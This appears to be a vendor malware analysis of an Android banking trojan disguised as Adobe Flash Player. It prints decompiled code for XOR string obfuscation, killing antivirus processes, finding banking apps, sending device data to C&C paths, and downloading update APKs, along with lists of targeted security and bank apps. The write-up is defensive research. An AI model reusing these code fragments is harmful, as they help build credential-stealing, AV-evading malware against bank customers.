Trustlook's Integration with OKC (OKX Chain)
San Jose, California, Oct. 19, 2022, Trustlook, the global leader ...
A banking trojan discovered by Trustlook labs targets European banks and can steal users’ banking credentials. To make matters worse, the trojan is also capable of blocking most anti-virus apps.
The trojan disguises itself as an Adobe Flash Player app on Google Play. The malware hides string constants, keeps them encoded, and only decodes them before they are used.
The package can be identified as having the following characteristics:
- MD5: b3a83ea6252bc7a4303774c1cd2c3b6f
- SHA256: 784c835761e0223a46195fccbffae9fc0e19725ee989fe08e9d9fe119f7d4056
- Size: 395595
- App name: AdobeFlashPlayer
- Package name: update.Adobe.Flash.Player
The package icon is:
The malware hides critical strings in order to prevent identification. It uses an exclusive or (XOR) operation to obfuscate the strings.
One of the encoding functions is shown below. The malware uses 7 similar functions to encode the string:
public static String a(String paramString)
{
int i = paramString.length();
char[] arrayOfChar = new char[i];
int j = i - 1;
for (i = j; j >= 0; i = j)
{
j = paramString.charAt(i);
int k = i - 1;
arrayOfChar[i] = ((char)(j ^ 0x52));
if (k < 0) {
break;
}
j = k - 1;
arrayOfChar[k] = ((char)(paramString.charAt(k) ^ 0x7D));
}
return new String(arrayOfChar);
}
After encoding, the string becomes unreadable. Upon execution of the malware, the app attempts to terminate any anti-virus apps. The decoded strings are listed in the comments added by Trustlook :
void a() {
int v0;
int v10 = 22;
int v9 = -1;
if(Build$VERSION.SDK_INT <= v10) {
v0 = 0;
int v3;
for(v3 = 0; v0 > v9; v3 = v0) {
String v5 = this.b();
String[] v6 = new String[31];
v6[0] = a.a("\u000E\u0001\u0000@\u0006\u000B\b\u001C\u000F\u0017C\u000F\t\u000F\u001A\u000F\u001F\u000B"); // com.keerby.adaware
v6[1] = b.a("Y\u0004WE[\u0003T\u0007[\t\u0014\u001D\t\u0006U\tS\u0007_\u0018_\bO\u0019S\u001FC");//com.ahnlab.v3mobilesecurity
v6[2] = a.a("\u000E\u0001\u0000@\f\u0018\f\u001D\u0019@\f\u0000\t\u001C\u0002\u0007\t@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.avast.android.mobilesecurity
v6[3] = b.a("Y\u0004WE[\u0005N\u0002L\u0002H\u001EI");//com.antivirus
v6[4] = a.a("\r\u0002\u0003C\u000F\u001B\u0007\u001F\u000FC\u000F\u0003\n\u001F\u0001\u0004\n");//com.avira.android
v6[5] = b.a("Y\u0004WEX\u0002N\u000F_\r_\u0005^\u000EHE[\u0005N\u0002L\u0002H\u001EI");//com.bitdefender.antivirus
v6[6] = a.a("\r\u0002\u0003C\f\u0018\u0002\u0001\t\u0018\u000F\u001F\nC\u0003\u0002\f\u0004\u0002\b@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.bullguard.mobile.mobilesecurity
v6[7] = b.a("\bU\u0006\u0014\bU\u0006U\u000FUEY\u0002I\u0006_E[\u0005N\u0002L\u0002H\u001EI");//com.comodo.cisme.antivirus
[…]
public String b() {
String v0;
if(Build$VERSION.SDK_INT <= 19) {
List v1 = this.getSystemService(b.a("\nY\u001FS\u001DS\u001FC")).getRunningTasks(1);//activity
v1.get(0);
v0 = v1.get(0).topActivity.getPackageName();
}
else {
v0 = this.getSystemService(a.a("\f\r\u0019\u0007\u001B\u0007\u0019\u0017")).getRunningAppProcesses().get(0).processName;
}//activity
return v0;
}
protected void onHandleIntent(Intent arg1) {
this.a();
}
The following is a list of the security apps whose processes are terminated by the malware:
- keerby.adaware
- ahnlab.v3mobilesecurity
- avast.android.mobilesecurity
- antivirus
- avira.android
- bitdefender.antivirus
- bullguard.mobile.mobilesecurity
- comodo.cisme.antivirus
- drweb
- emsisoft.security
- eScan.main
- eset.ems2.gp
- fsecure.ms.dc
- fortinet.forticlient
- gdata.mobilesecurity
- ikarus.mobile.security
- k7computing.android.security
- kms.free
- malwarebytes.antimalware
- wsandroid.suite
- pandasecurity.pandaav
- quickheal.platform
- solo.security
- sophos.smsec
- antispycell.free
- symantec.enterprise.mobile.security
- totaldefense.security
- trendmicro.tmmspersonal
- trustport.mobilesecurity
- ssd.vipre
- zillya.security
The malware then looks for the banking apps’ processes. If found, the malware sends the information to the C&C server, and receives specific forms from the server to create a fake banking interface that entices users to enter their credentials.
public String a()
{
Log.d(i.a("8,'+\"+3.4O=-6"), k.a("%\0357\n5\020V\0327\026=x5\024?\0358\fQ\013")); //INVISIBLE-LOG SEARCH BANK CLIENT'S
Object localObject1 = getPackageManager().getInstalledApplications(128).iterator();
int i11 = 0;
int i10 = 0;
int i20 = 0;
int i19 = 0;
int i18 = 0;
int i17 = 0;
int i9 = 0;
int i7 = 0;
int i5 = 0;
int i3 = 0;
int i1 = 0;
int m = 0;
int i = 0;
while (((Iterator)localObject1).hasNext())
{
localObject2 = (ApplicationInfo)((Iterator)localObject1).next();
int j = i11;
if (((ApplicationInfo)localObject2).packageName.equals(i.a("\022\r\034L\020\t\023\003\037\t_\003\037\006\003\r\030\006_\003\001\022\002L\020\t\023\003\037\t.\006\030\020\024\t\005"))) {
j = 1; //com.akbank.android.apps.akbank_direkt
}
if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X>\0376\0276\005:\0276\035v\0337\0241\032=X;\023(\005-\024="))) {
j = 2; //com.finansbank.mobile.cepsube
}
int k = i10;
if (((ApplicationInfo)localObject2).packageName.equals(i.a(""))) {
k = 1;
}
if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X,\0337\024,\023;\036v\0369\0323\0249\0303"))) {
k = 2; //com.tmobtech.halkbank
}
[…]
PowerManager$WakeLock v0_2 = v0_1.getSystemService(k.a("(\u0019/\u0013*")).newWakeLock(1, i.a("\"\u0007\u0003\u0014\u0018\u0001\u0014"));
//power Service
if(v0_2 != null) {
v0_2.acquire();
}
e v10 = new e();
k v11 = new k();
Object v0_3 = this.getSystemService(k.a("(\u001E7\u0018="));//phone
String v1 = "";
if(Build$VERSION.SDK_INT < 23) {
v3 = ((TelephonyManager)v0_3).getDeviceId();
v2 = new StringBuilder().insert(0, i.a("Y")).append(((TelephonyManager)v0_3).getNetworkOperatorName()).append(k.a("q")).append(((TelephonyManager)v0_3).getLine1Number()).toString();
v7 = v3;
}
else {
v1 = Settings$Secure.getString(this.getContentResolver(), i.a("\u0003\u001F\u0006\u0003\r\u0018\u0006.\u000B\u0015"));//android_id
if(v1 == "") {
v1 = new StringBuilder().insert(0, k.a("Em")).append(Build.BOARD.length() % 10).append(Build.BRAND.length() % 10).append(Build.CPU_ABI.length() % 10).append(Build.DEVICE.length() % 10).append(Build.DISPLAY.length() % 10).append(Build.HOST.length() % 10).append(Build.ID.length() % 10).append(Build.MANUFACTURER.length() % 10).append(Build.MODEL.length() % 10).append(Build.PRODUCT.length() % 10).append(Build.TAGS.length() % 10).append(Build.TYPE.length() % 10).append(Build.USER.length() % 10).toString();
}
v3 = i.a("J?-X");//(NO)
v7 = v1;
v1 = k.a("\u0011\u0018\u001F6\u0013<");//Indefined
v2 = v3;
}
String v4 = Build$VERSION.RELEASE;
String v5 = new StringBuilder().insert(0, Build.MODEL).append(i.a("BY")).append(Build.PRODUCT).append(k.a("q")).toString();
String v6 = ((TelephonyManager)v0_3).getNetworkCountryIso();
String v8 = "";
i.a("A");
if(!this.getSystemService(k.a("<\u0013.\u001F;\u0013\u0007\u00067\u001A1\u0015!")).isAdminActive(null)) { //device_policy
v3 = i.a("A");
v0_1 = this;
}
else {
v3 = k.a("i");
v0_1 = this;
}
boolean v0_4 = v0_1.getSystemService(i.a("\t\u0014\u001B\u0016\u0017\u0010\u0010\u0015")).inKeyguardRestrictedInputMode(); //keyguard
k.a("h");
if(v0_4) {
v0_5 = i.a("A");
Log.e(k.a("jDj"), i.a("\u001E\u0004\u0017")); //222 off
}
else {
v0_5 = k.a("i");
Log.e(i.a("CPC"), k.a("\u00196"));
}
Log.e(i.a("\u0012\u001E\u0011\u0005"), new StringBuilder().insert(0, k.a("\u0002-\u001D\u0007\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString());
//post tuk_p=
v0_5 = v11.c(v10.a(this.a.d + i.a("M\u0010\u0006\u001C\u000B\u001F\u000E\u001E\u0006^\u0005\u0010\u0016\u0014L\u0001\n\u0001"), new StringBuilder().insert(0, k.a("\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString())); ///adminlod/gate.php
Log.e("", new StringBuilder().insert(0, i.a("QOQ\\Q")).append(v0_5).toString());
if(v0_5.contains(k.a("\n\u00169$"))) {
v0_5 = this.a();
System.out.println("");
System.out.println(new StringBuilder().insert(0, i.a("\u0002\u0007\u0005=\u0015\u0003\u0005\u0003.\u0012L")).append(v11.b(new StringBuilder().insert(0, " ").append(v7).append(k.a("b")).append(v2).append(v1).append(i.a("K")).append(v4).append(k.a("b")).append(v6).append(i.a("K")).append(v0_5).append(k.a("b")).append(v5).toString())).toString()); // set_data_p=
v3 = this.a.d + i.a("^\u0003\u0015\u000F\u0018\f\u001D\r\u0015M\u0003\u0007\u0016L\u0001\n\u0001"); ///adminlod/reg.php
StringBuilder v9 = new StringBuilder().insert(0, k.a("\u0006e"));
StringBuilder v0_6 = new StringBuilder().insert(0, v7).append(i.a("K")).append(v2).append(v1).append(k.a("b")).append(v4).append(i.a("K")).append(v6).append(k.a("b")).append(v0_5).append(i.a("K")).append(v5).append(k.a("b"));
this.a.getClass();
v0_5 = v11.c(v10.a(v3, v9.append(v11.b(v0_6.append("DDD").append(i.a("K")).append(v8).toString())).toString()));
The affected bank apps are:
- akbank.android.apps.akbank_direkt
- finansbank.mobile.cepsube
- garanti.cepsubesi
- tmobtech.halkbank
- pozitron.iscep
- vakifbank.mobile
- ykb.android
- ziraat.ziraatmobil
- facebook.orca
- facebook.katana
- instagram.android
- supercell.clashroyale
- supercell.clashofclans
- google.android.play.games
- snapchat.android
- twitter.android
- google.android.apps.translate
- ebay.gumtree.au
- anz.android
- bankaustria.android.olb
- bawag.mbanking
- easybank.mbanking
- isis_papyrus.raiffeisen_pay_eyewdg
- spardat.netbanking
- volksbank.volksbankmobile
- commbank.netbank
- westpac.bank
- stgeorge.bank
- com.nab.mobile
- com.ingdirect.android
- com.bankwest.mobile
- banksa.bank
- paypal.android.p2pmobile
- grppl.android.shell.CMBlloydsTSB73
- grppl.android.shell.halifax
- co.tsb.mobilebank
- creditagricole.androidapp
- comarch.mobile
- bzwbk.bzwbk24
- bzwbk.bzwbk24
- eurobank
- getingroup.mobilebanking
- ing.ingmobile
- ing.ingmobile
- pkobp.iko
- mbank
- android.bcpBankingApp.millenniumPL
- eleader.mobilebanking.pekao
- eleader.mobilebanking.raiffeisen
- db.mm.deutschebank
- commerzbanking.mobil
- starfinanz.smob.android.sfinanzstatus
- ing.diba.mbbr2
- fiducia.smartphone.android.banking.vr
- santander.de
- starfinanz.smob.android.sbanking
- postbank.finanzassistent
- dkb.portalapp
- consorsbank
- comdirect.android
- creditagricole.android
- axa.monaxa
- banquepopulaire.cyberplus
- bnpparibas.mescomptes
- boursorama.android.clients
- caisseepargne.android.mobilebanking
- cic_prod.bad
- cm_prod.bad
- groupama.toujoursla
- IngDirectAndroid
- fullsix.android.labanquepostale.accountaccess
- lcl.android.customerarea
- macif.mobile.application.android
- ocito.cdn.activity.creditdunord
- societegenerale.mobile.lappli
The malware is capable of stealing a user’s contacts , sending an SMS message, opening a web page, updating itself and more. The following code snippets demonstrate how the malware downloads an APK and updates itself:
if(v9_1[v8_1].contains(i.a("7\u0001\u0006\u0010\u0016\u0014\u0011. \u001E\u0016\u0002"))) {//Updates_Bots
v2 = v11.a(v9_1[v8_1], k.a("\n6\u00035\u0014=\u0004e"), i.a("\u001E\u0005\u0007\t\u0016L"));//|number= |text=
v0_9 = v9_1[v8_1].split(k.a(",\u0013 \u0002e")); //text=
System.out.println(new StringBuilder().insert(0, v2).append(v0_9[1]).toString());
Log.d("", "");
v3 = UUID.randomUUID().toString();
v4 = i.a("L\u0010\u0012\u001A");//.apk
try {
URLConnection v0_12 = new URL(v0_9[1]).openConnection();
((HttpURLConnection)v0_12).setRequestMethod(k.a("\u001F3\f")); //GET
((HttpURLConnection)v0_12).setDoOutput(true);
((HttpURLConnection)v0_12).connect();
v1 = Environment.getExternalStorageDirectory() + i.a("M\u0015\r\u0006\f\u001D\r\u0010\u0006^"); ///download/
Log.v("", new StringBuilder().insert(0, k.a("&\u0019\"\u0010Lx")).append(v1).toString()); //PATH:
File v5_1 = new File(v1);
v5_1.mkdirs();
v5_2 = new FileOutputStream(new File(v5_1, new StringBuilder().insert(0, v3).append(v4).toString()));
v1_1 = ((HttpURLConnection)v0_12).getInputStream();
v6_2 = new byte[4096];
v0_13 = v1_1;
goto label_524;
}
Summary
Banking malware that steals users’ log in credentials is becoming an increasing problem. Most of this category of malware, as is highlighted in this post, attempts to stay hidden to prevent analysis and detection. It also uses an obfuscation technique to make textual data unreadable. Using these techniques of hiding strings and masking data is useful for malware writers because it requires much more time for analysis to be done and the malware to be identified.
Thankfully, in this case, Trustlook was able to gather deep insights and knowledge of the malware behavior. Trustlook’s SECUREai anti-threat platform can effectively protect users against this invasion.